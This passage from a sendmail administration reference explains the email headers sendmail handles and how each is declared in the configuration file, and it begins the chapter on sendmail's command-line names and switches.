The Comments: header is used to place explanatory text into the header portion of an email. The field portion of the Comments: header may contain arbitrary text.

One possible use for a Comments: header would be to notify recipients that one person is replying to mail for another:

Comments: Ben is in France for the next month or
          so gathering information for the meeting.
          I am handling his mail while he is away.

   whitespace

The Comments: header should rarely be declared in the configuration file. If it is, it should be prefixed with appropriate ?flags?. For example,

H?B?Comments: Local delivery is experimentally being handled
       by a new program. Complaints to root.

This comment is included only in headers that are delivered via the local delivery agent, because that delivery agent is the only one to include the F=B flag:

Mlocal, P=/bin/mail, F=rlsDFMmnPB, S=10, R=20, A=mail -d $u

For all versions of sendmail except V8, if there is already a Comments: header in the message, this configuration-file declaration is ignored. For V8 sendmail this declaration will always cause the new Comment: header to be added to the mail message.

35.10.7 Content-Length:

The size of the body of the message

(System V Release 4)

The Content-Length: header describes the approximate size of the body of a message. The size is always a decimal expression of the number of bytes occupied by the body.

Content-Length: 5678

It is used by some MUAs to find a message faster in a large file of many messages. It is always created or added by MUAs or delivery agents and never by MTAs. It should never be declared in the configuration file.

For Sun's version of V8 sendmail the behavior of the Content-Length: can be traced with the -d80 debugging switch (see Section 37.5.190, -d80.1). All other versions of sendmail ignore this header.

35.10.8 Content-Transfer-Encoding:

Auxiliary MIME encoding used in the message

(RFC1521)

The MIME Content-Transfer-Encoding: header describes what auxiliary encoding was applied to the message body to allow it to pass through email transport mechanisms that may have data or character set limitations. Specifically, RFC821 requires message bodies to contain only 7-bit data. To transport 8-bit data (such as images and sounds) via SMTP, it is necessary to convert that data to 7 bits. The Content-Transfer-Encoding: header specifies precisely how that conversion was done:

Content-Transfer-Encoding: how

Here, how is defined by RFC821 to be one of the following: base64 (see RFC1521), quoted-printable (see Section 34.8.22, EightBitMode (8)), 8bit (meaning that the message body contains unencoded 8-bit data in line length suitable for SMTP transport), 7bit (the message body contains 7-bit, SMTP-compliant data), or binary (the message body contains 8-bit data in a form that is completely unsuitable for SMTP transport).

See the EightBitMode (8) option (see Section 34.8.22) for a description of how V8 sendmail converts between 8- and 7-bit data. The Content-Transfer-Encoding: header should never be declared in the configuration file.

35.10.9 Content-Type:

The nature of the body of the message

(RFC1521)

The Content-Type: header describes the nature of the body of a mail message. In the absence of such a header, the body is presumed to be composed of ASCII characters that have their high (most significant) bits turned off. One possible setting for this header might look like this:

Content-Type: text/plain; charset=ISO-8859-1

This header says that the body uses the ISO-8859-1 character set.

This header is usually created by the originating MUA. It should never be declared in the configuration file of pre-V8.7 versions of sendmail. Beginning with V8.7, the content type for 8- to 7-bit MIME conversions can be declared with the DefaultCharSet option (Section 34.8.14, DefaultCharSet).

When bouncing mail, V8 sendmail creates a MIME-compliant message and includes a Content-Type: header like this:

Content-Type: multipart/mixed; boundary="boundary"

If sendmail was compiled to include DSN support (see Section 18.8.5, DSN), the Content-Type: header will look like this:

Content-Type: multipart/report; report-type=delivery-status;
        boundary="boundary"

35.10.10 Date:

The origin date

(RFC822)

The Date: header specifies the date and time that the mail message was originally sent. All mail messages must include this header line. Consequently, the Date: header must be declared in the configuration file like this:

H?D?Date: $a

The $a macro (see Section 31.10.2, $a) is mandatory in the field for this header. The value in $a is the current time in RFC822 format. (See Section 5.1 in RFC822 and Section 5.2.14 in RFC1123.) Only the $a macro should be used with the Date: header, because it is the only one that is guaranteed to contain the current date and time in RFC822 (and RFC1123) format.

The ?D? flag is always included with the Date: declaration in the configuration file. All the standard delivery agents always include a F=D flag (see Section 30.8.17, F=D). The ?D? allows custom delivery agents to be designed that do not need a Date: header.

35.10.11 Delivered-To:

Mark a mailing list expansion

(qmail)

The qmail program uses a Delivered-To: header to trace all the alias and mailing list expansions through which an email message passes. This is similar to the way Received: headers are used to trace machine hops. When qmail expands a mailing list, it adds a Delivered-To: header to the top of the message:

Delivered-To: list@host

If an identical header is already present, qmail bounces the message. This prevents several kinds of mail loops. (Note that the SmartList program supports an X-Loop: header with the same function.)

This technique is further described in the following draft document:

ftp://koobera.math.uic.edu/pub/docs/RFCLOOPS

The Delivered-To: header should never be declared in the configuration file.

35.10.12 Encrypted:

Message is transformed

(RFC822)

The Encrypted: header is used to describe a translation that has been performed on the body of the mail message. Although encryption is implied, other forms of translation, such as compression and uuencode(1), are perfectly legal.

The sendmail program ignores the Encrypted: header. This header is intended for use by MUAs. Unfortunately, most (if not all) UNIX MUAs also ignore this header. The form for the Encrypted: header is:

Encrypted: prog key

The field contains one mandatory item, the prog, and one optional item, the key. The prog is the name of the program that was used to transform the message body. The optional key is a decryption key.

If translating the message body into a different form, be aware that many versions of sendmail strip the eighth bit from all bytes of the body during transmission.

The Encrypted: header should never be declared in the configuration file.

35.10.13 Errors-To:

Error notification redirect

(sendmail)

Ordinarily, errors are bounced to the envelope sender. The Errors-To: header specifies the address, or addresses, to which sendmail should send additional notification of delivery errors.

The Errors-To: header is intended for use by mailing lists to prevent errors in a list from being rebroadcast to the list as a whole. For example, consider the mailing list allusers. Mail that is sent to this list should contain the following header lines:

To: allusers
From: allusers-submit
Errors-To: allusers-errors

The From: header allows reply mail to be submitted for distribution to the list. The Errors-To: header causes error notification to be sent to allusers-errors so that the maintainer can fix any errors in the list. The original sender also gets error notification unless the mailing list software represents the maintainer in the envelope (see Section 25.5.1, "Reply Versus Bounce").

Under SunOS and V8 sendmail the Errors-To: is flagged in conf.c with the H_ERRSTO header flag (see Section 35.5.11). This allows other headers to be declared in that file as error redirect headers. Under pre-V8 SunOS sendmail the Errors-To: header is ignored if the error mode set by the e option is m (see Section 34.8.24.2, "ErrorMode=m").

Under V8 sendmail the Errors-To: header is ignored unless the UseErrorsTo (l) option (see Section 34.8.74) is true. It does this because the Errors-To: header violates RFC1123. Errors-To: was needed only to take the place of the envelope sender in the days when most UNIX delivery agents couldn't differentiate between header and envelope.

The Errors-To: header should never be declared in the configuration file.

35.10.14 From:

The sender

(RFC822)

The From: header lists the address of the sender. There are only four legal forms that the field of this header can take:

From: address
From: <address>
From: Full Name <address>
From: address (comment)

A From: header must be declared in the configuration file, and its field is composed of the $x (see Section 31.10.42) and $g (see Section 31.10.16, $g) macros. For example,

H?F?From: $?x$x <$g>$|$g$.

$g contains the official return address of the sender. $x contains the full name for the sender. $x may be undefined for some addresses, so it should be wrapped in the $? and $. conditional operators (see Section 31.6).

The From: header must be prefixed by the ?F? flag because all the traditional delivery agents use the F=F flag (see Section 30.8.21, F=F) to force inclusion of that header. Use of the ?F? flag allows new delivery agents to be written that don't require the From: header. The resent- form of the From: header must also be declared in the configuration file:

H?F?Resent-From: $?x$x <$g>$|$g$.

This ensures that every mail message has a sender, even if the mail message has been forwarded.

Note that sendmail does not add the From: header or its resent- form if a From: header already exists in the header portion of the mail message. A possible exception occurs if the envelope sender is identical to the address in the From: header. In that instance, the From: header is discarded and a new one is created (see Section 35.7.1, "Remove and Recreate the From: Header").

35.10.15 Full-Name:

The sender's full name

(sendmail)

The Full-Name: header is used to list the sender's full name if it is known. The field for this header may be arbitrary text but is usually the value in the $x macro (see Section 31.10.42):

H?x?Full-Name: $x
H?x?Full-Name: (User names hidden for security)

The Full-Name: header should be prefixed with the ?x? flag so that selected delivery agents may require inclusion of that header. This header definition is usually meaningless, because all traditional delivery agents omit the F=x flag. It can be useful, however, for mailing through sites that strip or destroy From: headers.

The Full-Name: header may be specified in the configuration file. If this header is already in the mail message, sendmail does not replace it. But note that V8 sendmail will remove the Full-Name: header if the F=x flag (see Section 30.8.44, F=x) is set for the recipient's delivery agent.

35.10.16 In-Reply-To:

Identify previous correspondence

(RFC822)

The In-Reply-To: header is used to identify previous correspondence that the current message is in reply to. This header is generated by MUAs, not by sendmail. The field for this header is arbitrary text with one restriction. If that text includes the message identifier, that identifier must be enclosed in angle brackets (< and >) and must adhere to the format for all message identifiers. Note that the message identifier should be included but is not required.

A typical use of the In-Reply-To: header might look like the following:

In-Reply-To: Your message of Fri, 13 Dec 1996 05:47:44 -0700
       The subject of which was: "Which came first?"

   whitespace

The In-Reply-To: header should never be declared in the configuration file.

35.10.17 Keywords:

Index to contents

(RFC822)

The Keywords: header is used to list significant words from the body of the mail message that aid in the indexing of its contents. This header is never added by sendmail. Although some user mail-reading programs can create this header, it is usually created by Usenet news-posting programs.

The field for the Keywords: header is arbitrary text. This header should never be declared in the sendmail configuration file.

35.10.18 Mail-From:

Synonym for Received:

(obsolete)

The Mail-From: header is not defined by any of the RFCs and is rarely seen in message headers. The sendmail program defines it internally as a synonym for the Received: header. The Mail-From: header is obsolete.

35.10.19 Message-ID:

Unique identifier for message

(RFC822)

The Message-ID: header is used to uniquely identify each mail message. This header must be declared in the configuration file. The field for this header must be an expression in the form of a legal address enclosed in angle brackets (< and >). The address must be composed of elements that create an identifier that is truly unique worldwide. The Message-ID: header is declared in the configuration file:

?M?Message-Id: <$t.$i@$j>

Here, the field is an address of the form user@domain, which is enclosed in angle brackets. The $t macro (see Section 31.10.35, $t) is an integer representation of the current time to the nearest second. The $i macro (see Section 31.10.19, $i) is the unique queue identifier that is used to identify this message locally. The $j macro (see Section 31.10.20, $j) is the fully qualified domain name of the local host. The Message-ID: header as it might appear in an actual mail message would look like this:

Message-Id: <9207100411.AA14505@nic.cerf.net>

The Message-ID: header should be prefixed with a ?M? flag so that it is inserted only into headers of messages whose delivery agents have the F=M flag set. The standard delivery agents include this flag.

The resent- form of the Message-ID: header must also be declared in the configuration file:

?M?Resent-Message-Id: <$t.$i@$j>

This ensures that every mail message has a message identifier even if the message is forwarded.

Note that sendmail does not add a Message-ID: header or its Resent- form if a Message-ID: header already exists in the header portion of a mail message. Furthermore, the Resent- form is added only if sendmail determines that the message is a resent message.

Also note that you should never try to replace an existing Message-ID: header with one of your own. This could result in the loss of important information needed to trace the origin of a message.

35.10.20 Message:

Marks end of headers

(sendmail)

The Message: header is used to mark an early end to a mail message's headers. When sendmail finds this header, it immediately stops gathering the message's header lines and treats the rest of the header as the start of the message body. This header is useful for including non-Internet headers in the header portion of a mail message. For example,

To: george@wash.dc.gov (George Washington)
Subject: Re: More text
Date: Tue, 04 Aug 92 14:14:56 -0400
Message-Id: <31842.AA01513@wash.dc.gov>
Received: by wash.dc.gov (4.1/1.12 $)
        id AA01513; Tue, 4 Aug 92 12:15:01 PDT
From: Ben Franklin <ben@philly.dc.gov>
Message:
ROUTED BY BITNET\/CO=US/ROUTE=INTERNET/
FORMAT OF MESSAGE /LANG=USENGLISH/FORM=PLAINTEXT/

Here, the last two header lines are non-Internet headers that may confuse some programs. But the Message: header that precedes them tells sendmail to treat them as message body, and problems are avoided.

Note that Message: is not defined by any RFC but is a convention that is shared by all versions of sendmail and most other MTAs. The Message: header should never be declared in the configuration file.

35.10.21 MIME-Version:

Notify that error return contains MIME support

(RFC1521)

MIME (Multipurpose Internet Mail Extensions) is documented in RFC1521, with additional details in RFC1344, RFC1426, RFC1428, and RFC1437. The sendmail program cares about MIME only when bouncing messages and when determining how to convert the message body between 8 and 7 bits. If the SendMimeErrors (j) option (see Section 34.8.60, SendMimeErrors (j)) is set, V8 sendmail includes the following header in all returned (bounced) mail:

MIME-Version: 1.0

This is hard-coded into sendmail. See the SendMimeErrors (j) option for further details about this header.

The MIME-Version: header should never be declared in the configuration file.

35.10.22 Posted-Date:

Date submitted

(sendmail)

The Posted-Date: header is used by some old Usenet news software and some mailing list software to indicate the date and time that a mail message was posted (submitted for distribution). The Date: header, on the other hand, shows when the message was mailed. In actual practice, the two usually show the same date and time.

When sendmail tries to determine the originating date of a mail message, it first looks for a Posted-Date: header. If one is found, it uses that date. Otherwise, it uses the date from the Date: header. Whichever is used, the result is stored into the $a macro (see Section 31.10.2).

The Posted-Date: header is not a part of the RFC822 standard, so it should not be declared in the sendmail configuration file.

35.10.23 Precedence:

Set ordering in queue

(sendmail)

The Precedence: header is used internally by sendmail to order the processing of messages in its queue. A full description of the possible field values for this header is given in Section 35.8.1, "The P Configuration Command". The effect of those values on ordering the queue is described in Section 23.5, "How the Queue Is Processed".

The Precedence: header should never be declared as an H line in the configuration file. However, P precedence lines should be declared in that file.

35.10.24 Priority:

Determine timeouts in the queue

(sendmail)

Mail messages may be placed into the queue either intentionally or because they could not be delivered immediately. Once they are in the queue, two time periods come into play. First is the period of time that the message should remain in the queue before a warning is issued to the sender. Second is the total period of time that the message should remain in the queue before it is bounced as a failed message.

Beginning with V8.7 sendmail, it is now possible to tailor these intervals on the basis of three distinct priorities of mail. The new Priority: header tells sendmail which priority a message possesses:

Priority: pri

Here, pri can have one of three possible values: urgent, normal, and non-urgent. These values correspond directly to the priorities specified by the Timeout.queuewarn option (see Section 34.8.70.15, "Timeout.queuewarn") and Timeout.queuereturn option (see Section 34.8.70.14, "Timeout.queuereturn"):

O Timeout.queuereturn.urgent=1d
O Timeout.queuereturn.normal=2d
O Timeout.queuereturn.non-urgent=4d

Here, a Priority: header of normal will cause the message containing it to bounce after it has remained in the queue for two days.

The Priority: header should never be declared in the configuration file.

35.10.25 Received:

Trace routing of mail

(RFC822)

The Received: header is used to record information about each and every site a mail message passes through on its way to ultimate delivery. First this header is inserted by the original sending site, then another is added by each site that the message passes through, including the site performing final delivery. Each new header is added to the top of the list of Received: headers, forming a chronological record (reading bottom up through the headers) of how the mail message was handled.

The contents of the Received: header's field is narrowly defined by RFC822. Its defined form looks like this:

Received: ["from" host] "by" host ["via" atom] ["with" atom]
       "id" string ["for" addr] ";" date

   whitespace

The field is composed of six items that may be split over multiple lines by using whitespace to indent the second. Items that are optional are enclosed in square brackets. Each item is composed of two parts a word (shown in quotation marks) and a value. All, or only the few required items, need to be present. When they are present, they must be in the following order:

from

Full canonical name of the sending host (if available)

by

Full canonical name of the receiving host (required)

via

Physical network that was used to transmit the message, such as INTERNET, JANET, or XNS (optional)

with

Protocol used to receive the message, such as SMTP (optional)

id

Unique queue identifier assigned by the local host (required)

for

Initial, untranslated address of the recipient (seldom used)

;date

Date this message was received (required)

The Received: header must be declared in the configuration file. It is a mandatory header, so it should never be prefixed with ?flags?. A typical declaration of this header would look like this:

HReceived: $?sfrom $s $.$?_($?s$|from $.$_) $.by $j ($v/$Z)$?r with $r$.
        id $i$?u for $u$.; $b

Here, seven items are included in the field:

$?from $s $.

If the $s macro contains a value, the word from and that value are inserted into the header. The $s macro (see Section 31.10.33, $s) contains the full canonical name of the sender's host.

$?_($?s$|from $.$_) $.

This is a nested conditional. If the $_ macro contains a value, the parentheses and all the information inside them are inserted into the header. If the $_ macro lacks a value, nothing is inserted into the header.

Inside the parentheses the value of $_ is inserted into the header. Another conditional expression determines if the $_ just inserted should also be prefixed with the word from. If the $s macro lacks a value the word from is inserted in front of the $_. The $_ macro contains the RFC1413 identd(8) identity of the connecting host and any IP routing information (see Section 31.10.1, $-).

by $j ($v/$Z)

The $j macro contains the full canonical name of the local host. The parentheses surround a comment that is formed from $v (see Section 31.10.38, $v), the version of the sendmail program, and $Z (see Section 31.10.47, $Z) the version of the configuration file.

$?r with $r$.

If the $r macro contains a value, the word with followed by the value of $r is inserted into the header. The $r macro (see Section 31.10.31, $r) contains a string that indicates the protocol used to receive the message (such as SMTP or ESMTP).

id $i

The $i macro contains the identifier created by sendmail to uniquely identify this mail message at this host (see Section 31.10.19).

$?u for $u$

If the $u macro contains a value, the word for followed by the value of $u is inserted into the header. The $u macro (see Section 31.10.36, $u) contains the recipient's username.

; $b

The $b macro contains the current date and time in RFC822 format (see Section 31.10.3, $b).

The Received: declaration shown above is the one typically used by most sites running V8 sendmail.

35.10.26 References:

Reference to original message

(RFC822)

The References: header is used by mail-reading programs to include a reference to the original message in replies. Although this header may legally contain arbitrary text as its field, it usually contains a copy of the original Message-ID: header field.

The References: header typically looks something like this:

References: <9205041920.AA27932@wash.dc.gov>

Notice that the message identifier is wrapped in angle brackets, which cause it to look like an address.

The References: header should never be declared in the configuration file.

35.10.27 Reply-To:

Alternative reply address

(RFC822)

The Reply-To: header requests that replies to messages go to one or more addresses that are different from that of the original sender. This header is usually inserted by mailing-list software, where the From: is the address of the mailing list and the Reply-To: is the address of the list's maintainer.

The field for the Reply-To: header must obey the same rules as those for the From: header's field. One example of the use of this header might look like this:

From: mailinglist@list.server.com
Reply-To: mailinglist-request@list.server.com

The -request suffix is used by many mailing lists to specify the list maintainer.

The Reply-To: header should never be declared in the configuration file.

35.10.28 Return-Path:

Return address of sender

(RFC822)

The Return-Path: header is intended to show the envelope address of the real sender as opposed to the sender used for replying (the From: and Reply-To: headers). In posting Usenet news, for example, the Return-Path: shows "news" and the From: shows the address of the posting user. But in general, Return-Path: should never be used for replying to mail. It is intended to be used solely for notification of delivery errors.

There must be only one Return-Path: header in any mail message, and it should be placed there by the site performing final delivery. This header should be declared in the configuration file like this:

H?P?Return-Path: <$g>

The ?P? flag ensures that only delivery agents that perform final delivery insert this header. Those delivery agents are usually prog and local, which usually contain an F=P delivery agent flag.

The $g macro (see Section 31.10.16) contains as its value the address of the sender relative to the recipient.

Unfortunately, two circumstances can cause the Return-Path: header to contain incorrect information. First, the message may arrive at your site with that header already there. If this happens, there is usually no way to get rid of it, because most versions of sendmail lack a conf.c H_ flag that means to replace an existing header. However, with V8 sendmail, defining H_ACHECK (see Section 35.5.16) in conf.c causes a header to be replaced even if one is already in the message.

The second problem stems from the fact that final delivery may not really be final. The local delivery agent program may be something like procmail(8), which allows mail to appear to be locally delivered, while also allowing users to run shell scripts that may forward their mail to another site.

To minimize these problems, always declare the Return-Path: header with the proper ?flags? in the configuration file. Doing this ensures that it will be inserted when legal and that the address your site places in it is usually correct.

35.10.29 Return-Receipt-To:

Verify delivery

(sendmail prior to V8.7)

he Return-Receipt-To: header causes sendmail to send a mail message back to the specified recipient confirming final delivery. It is no longer supported as of V8.7 sendmail (instead, see NOTIFY=SUCCESS in Section 36.7.28, -N). [4] If a pre-8.7 version of sendmail finds this header when it is processing mail for delivery, and if the selected delivery agent has the F=l flag set, sendmail creates a bounced mail message. The recipient is set to the person specified in the Return-Receipt-To: header, and the following subject header line is included:

[4] Return-Receipt-To: was a bad idea. It gave false information (such as the suggestion that a user who never reads mail accepted delivery). It can wrongly propagate (as, for example, when a mailing list gets the receipt instead of you). And it is insecure (a nasty person can use it to find "hidden" members of a mailing list).

Subject: Returned Mail: Return Receipt       <-  prior to V8.7
Subject: Return Receipt                      <-  starting with V8.7

The message appears to originate from the user defined by the $n macro (see Section 31.10.26, $n), and contains a copy of the original header as its body.

The Return-Receipt-To: header should never be declared in the configuration file and, in fact, should rarely be used at all. It is not intended as a routine delivery-verification mechanism but rather is intended for occasional use in debugging delivery problems. It is especially dangerous when used in outgoing mailing-list mail, because it can cause an avalanche of returned mail and can possibly bring a host to its knees. Beginning with V8.6 sendmail, a receipt is sent when the mailing list is first expanded, and the Return-Receipt-To: header is removed before forwarding the message to the list.

Beginning with V8.7 sendmail, processing of all Return-Receipt-To: headers can be skipped by specifying noreceipts with the PrivacyOptions (p) option (see Section 34.8.47, PrivacyOptions (p)).

35.10.30 Sender:

The real sender

(RFC822)

The Sender: header is like the From: header. But whereas the From: header shows the address of one sender, the Sender: header shows the address of the real sender. For example, an assistant can mail a letter for the boss using the boss's account. The boss's address is in the From: header, and the assistant's address is in the Sender: header. The syntax for the two is identical. Newer MUAs allow the user to create a custom Sender: header. The Sender: header should never be declared in the configuration file.

35.10.31 Subject:

Topic of the message

(RFC822)

The Subject: header can be included in mail messages to give the topic of the message. Most user mail-reading programs display the arbitrary text that forms the field of this header when listing received messages. Although such text can legally extend over multiple indented lines, most mail-reading programs recognize only the first such line:

Subject: About yesterday's meeting, I had some second
       thoughts about why the shape of the bonnet should
       remain so sharply curved at the ends.

   whitespace

This would be displayed by the mailx(1) program in truncated form as:

14   gw@wash.dc.gov Fri Aug  7 12:57  22/770 "About yesterday's meeting"

The Subject: header is not used by sendmail, but it is often wrongly (albeit harmlessly) included in the configuration file:

HSubject:              <-  This actually does nothing

35.10.32 Text:

A synonym for Message:

(sendmail)

The Text: header is the same as the Message: header. Both cause all lines that follow in the header portion of a mail message to be treated as message body.

The Text: header should never be declared in the configuration file.

35.10.33 To:

The primary recipients

(RFC822)

The To: header lists one or more of the recipients of the mail message. Other headers, such as Cc:, also list recipients.

The sendmail program attempts to deliver a copy of the mail message to every recipient address that it can find in all the recipient headers and in the envelope. If the header of a mail message lacks recipient information (To:, Cc:, and Bcc: header lines), pre-V8.7 sendmail added an Apparently-To: header line and put the recipient's address from the envelope into the field of that header. Beginning with V8.7, the way a recipientless message is handled is determined with the NoRecipientAction option (see Section 34.8.43).

35.10.34 Via:

An unofficial trace header

(obsolete)

The Via: header is not defined by RFC822 but occasionally appears in mail messages that sendmail needs to process. It is used by a few other networks to mark a mail message's transit through a forwarding host. It is an early, and now obsolete, version of the Received: header. The sendmail program counts the Via: header when determining the hop count but has no other use for it.

The Via: header should never be declared in the configuration file.

35.10.35 X-Authentication-Warning:

Notification of security matters

(V8 sendmail)

If the PrivacyOptions (p) option (see Section 34.8.47) is declared with authwarnings, V8 sendmail inserts a special header line for possible security concerns. That header line looks like this:

X-Authentication-Warning: host: message

Here, host is the canonical name of the host that inserted this header. The message is one of the following:

Processed by user with -C file

An attempt was made by a user other than root to run sendmail with the -C command-line switch. That switch caused sendmail to read file in place of the system sendmail.cf file.

user set sender to other using -f

A user or program's user identity used the -f command-line switch to change the identity of the sender to other (and user was not listed with the T configuration command). This can be legitimate when the user is uucp or daemon. It can also be legitimate when the user is sending to some mailing lists (see Section 22.8, "Security Features"). Such a warning can also indicate that someone is trying to forge mail.

user owned process doing -bs

A user or program's user identity used the -bs command-line switch to make sendmail receive a mail message via its standard input/output using the SMTP protocol (and user was not listed with the T configuration command). This parallels network notification set up by defining IDENTPROTO when compiling sendmail and by use of the $_ macro (see Section 31.10.1) in Received: headers.

Processed from queue dir

A user other than root used the -oQ (or similar) switch (see Section 34.8.48, QueueDirectory (Q)) to process mail from a queue directory (dir) that was different from the one specified with the QueueDirectory (Q) option in the configuration file. The sendmail program can run as an ordinary user because this or some other command-line switch caused it to give up root privilege.

Host name1 claimed to be name2

In the HELO message of an SMTP conversation the remote host name1 specified its canonical name as name2, and the two didn't match. This always indicates a problem. Either the remote host is misconfigured (a bad value in $j; see Section 31.10.20), the DNS maps for that host are wrong, or someone is trying to spoof the local sendmail.

Host name didn't use HELO protocol

Every SMTP conversation for transfer of mail must start with the HELO (or EHLO) greeting. If, instead, a MAIL command was first, this header is inserted in the incoming message. The most likely cause of a missing HELO is the mistake of someone attempting to carry on an SMTP conversation by hand.

35.10.36 X400-Received:

Received via X400

(X400)

The X400-Received: header is added by IDA sendmail to document receipt of a mail message from an X400 network. This header is used by both IDA and V8 to count the number of forwarding sites when computing the hop count of a mail message.

The X400-Received: should never be declared in the configuration file.

Previous: 35.9 Pitfalls | sendmail | Next: 36. The Command Line
35.9 Pitfalls | Book Index | 36. The Command Line


[Chapter 36] The Command Line

sendmailSearch this book
Previous: 35.10 Alphabetized Reference Chapter 36 Next: 36.2 Command-Line Switches

36. The Command Line

Contents:
Alternative argv[0] Names
Command-Line Switches
List of Recipient Addresses
Processing the Command Line
sendmail's exit() Status
Pitfalls
Alphabetized Reference

The initial behavior of sendmail is determined largely by the command line used to invoke it. The command line can, for example, cause sendmail to use a different configuration file or to rebuild the aliases file rather than deliver mail. The command line can be typed at your keyboard, executed from a boot-time script, or even executed by an MUA when sending mail.

The format of the sendmail command line is:

argv[0] switches recipients

Here, argv[0] is the name used to run sendmail. The switches, if any of them are present, must always precede the list of recipients. The recipients is a list of zero or more recipient address expressions.

36.1 Alternative argv[0] Names

The sendmail program may exist in any of several places, depending on the version of the operating system you are running. Usually, it is located in the /usr/lib directory and is called sendmail, [1] but it can alternatively be located in the /etc, /usr/sbin, or /usr/etc directory. The location of the sendmail program can be found by examining the /etc/rc files for BSD UNIX or the /etc/init.d files for Sys V UNIX (see Section 3.4, "Role as a Daemon").

[1] On Sun systems you will find /usr/lib/sendmail.mx for use with the Domain Name System.

In addition to the name sendmail, other names (in other directories) can exist that alter the behavior of sendmail. Those alternative names are usually symbolic links to /usr/lib/sendmail. On some systems they may be hard links, and in rare cases you may actually find them to be copies. The complete list of other names is shown in Table 36.1.

Table 36.1: "Alternative
Name |  | Mode of Operation
hoststat | Section 36.1.1, "hoststat (V8.8 and Above)" | Print persistent host status (V8.8 and above)
mailq | Section 36.1.2, "mailq" | Print the queue contents
newaliases | Section 36.1.3, "newaliases" | Rebuild the aliases file
purgestat | Section 36.1.4, "purgestat (V8.8 and Above)" | Purge persistent host status (V8.8 and above)
smtpd | Section 36.1.5, "smtpd" | Run in daemon mode

When sendmail looks for the name under which it is running, it strips any leading directory components from argv[0] and compares the result (in a case-sensitive fashion) to its internal list of alternative names. If a match is found, its mode of operation is changed to conform to that of the alternative name. If no match is found (if, say, a link is named Mailq, note the uppercase M), sendmail does not change its mode.

The name that is found is used to build an argument list for use with process listings. For example, if the name was sendmail.mx (from SunOS), a process listing produced with ps(3) would look something like this:

root  1247  620 p0 S  07:22 0:00 -AA15186 (sendmail.mx)

Here, the (sendmail.mx) shows that sendmail was run under the name sendmail.mx.

Note that sendmail uses the hard-coded name "sendmail" for logging purposes with syslog(3) (see Section 26.1.1, "syslog(3)"). Therefore logged errors and warnings always appear to come from sendmail, no matter what name was used to run it.

As a final note, be aware that command-line switches are processed immediately after the name but before sendmail finalizes its mode of operation. Thus the use of particular switches can completely cancel any special meaning given a name.

36.1.1 hoststat (V8.8 and Above)

The hoststat command is a synonym for the -bh command-line switch. It causes sendmail to print its persistent host status and exit. Persistent host status is enabled with the HostStatusDirectory option (see Section 34.8.31, HostStatusDirectory).

The output produced by this command begins with a heading like this:

------- Hostname -------- How long ago -----Results-----

Then for each host that has its status saved, sendmail prints this information:

Hostname

This is the name of the host that was connected to. It may not be the hostname specified for the recipient. It could easily be an MX record instead. If a message has multiple recipients, a separate status line will be produced for each unique host that is tried. If this name is prefixed with an asterisk, the status file is locked and currently being updated.

How long ago

This shows how long ago this status record was updated. It is printed in the form:

DD+HH:MM:SS

Here, DD is the number of days. If the status was updated less than a day ago, the DD+ is omitted. The HH is hours, the MM is minutes, and the SS is seconds. The colons are literal.

Results

This shows the result of the last connection attempt, failure, or success. If no reason was stored, this prints as:

No status available

If a result was stored, it will print in three parts:

smtp id msg

The smtp is the SMTP reply code. The msg is the text of the message generated by the other end or other program.

To illustrate, consider this output:

------- Hostname -------- How long ago -----Results-----
 there.ufoa.edu                              00:00:51 250 PAA27153 Message acce
*books.ora.com                               07:43:39 250 GAA01255 Message acce
 prog.ammers.com                             06:55:08 No status available
 fbi.dc.gov                                  03:28:53 Connection refused

Here, the previous connections to there.ufoa.edu and books.ora.com were successful. The status for books.ora.com is currently being updated, hence the asterisk showing it is locked. The host prog.ammers.com shows no status because connection to it could not be made. The last example show that the connection to fbi.dc.gov was refused by that host.

Note that the results are limited to 27 characters unless the -v command-line flag is also used. In that case, results are limited to 79 characters, thus providing more complete information.

36.1.2 mailq

The name mailq (a synonym for the -bp command-line switch) causes sendmail to print the contents of the mail queue and then exit (see Section 23.4, "Printing the Queue").

Note that the location of the queue is set with the QueueDirectory (Q) option (see Section 34.8.48, QueueDirectory (Q)). That location can be overridden from the command line, but if it is, sendmail may give up its root privilege (unless it was run by root).

36.1.3 newaliases

The name newaliases (a synonym for the -bi command-line switch) causes sendmail to rebuild the aliases database files, print summary information, and then immediately exit (see Section 24.5.1, "Rebuild the Alias Database"). In this mode the -v command-line switch (see Section 36.7.41, -v) is automatically implied, and sendmail runs in verbose mode.

The location of the aliases file is given in the configuration file with the AliasFile (A) option (see Section 34.8.1, AliasFile (A)). That location can be overridden from the command line, but if it is, sendmail gives up its root privilege (unless it was run by root).

36.1.4 purgestat (V8.8 and Above)

The name purgestat is a synonym for the V8.8 and above -bH command-line switch (see Section 36.7.6, -bH). It causes sendmail to clear (purge) all the host-status information that was being saved under the HostStatusDirectory option's directory (see Section 34.8.31). Clearing is done by removing all the directories under the HostStatusDirectory directory. Note that the HostStatusDirectory directory is not itself removed.

36.1.5 smtpd

The name smtpd is a synonym for the -bd command-line switch (see Section 36.7.5, -bd). It causes sendmail to run in the background as a daemon, listening for incoming SMTP mail (see Section 4.1.1, "Daemon Mode (-bd)"). This mode of operating is usually combined with the -q command-line switch (see Section 23.6.1, "Periodically with -q"), which causes sendmail to periodically process the queue.

Previous: 35.10 Alphabetized Reference | sendmail | Next: 36.2 Command-Line Switches
35.10 Alphabetized Reference | Book Index | 36.2 Command-Line Switches


[Chapter 36] 36.2 Command-Line Switches

sendmailSearch this book
Previous: 36.1 Alternative argv[0] Names Chapter 36
The Command Line 		Next: 36.3 List of Recipient Addresses

36.2 Command-Line Switches

Command-line switches are command-line arguments that begin with a - character, and precede the list of recipients (if any). The forms for command-line switches, where X is a single letter, are:

-X             <-  Boolean switch
-Xarg          <-  switch with argument

All switches are single letters. The complete list is shown in Table 36.2.

Table 36.2: Command-Line Switches
Switch |  | Version | Description
-B | Section 36.7.1, -B | V8.1 and above | Specify message body type
-b | Section 36.7.2, -b | All versions | Set operating mode
-ba | Section 36.7.3, -ba | Not V8.1- V8.6 | Use ARPAnet/Grey Book protocols
-bD | Section 36.7.4, -bD | V8.8 and above | Run as a daemon, but don't fork
-bd | Section 36.7.5 | All versions | Run as a daemon
-bH | Section 36.7.6 | V8.8 and above | Purge persistent host status
-bh | Section 36.7.7, -bh | V8.8 and above | Print persistent host status
-bi | Section 24.5.1 | All versions | Initialize alias database
-bm | Section 36.7.9, -bm | All versions | Be a mail sender
-bp | Section 23.4 | All versions | Print the queue
-bs | Section 36.7.11, -bs | All versions | Run SMTP on standard input
-bt | Section 38.1, "Overview" | All versions | Rule testing mode
-bv | Section 36.7.13, -bv | All versions | Verify: don't collect or deliver
-bz | Section 36.7.14, -bz | Not V8 | Freeze the configuration file
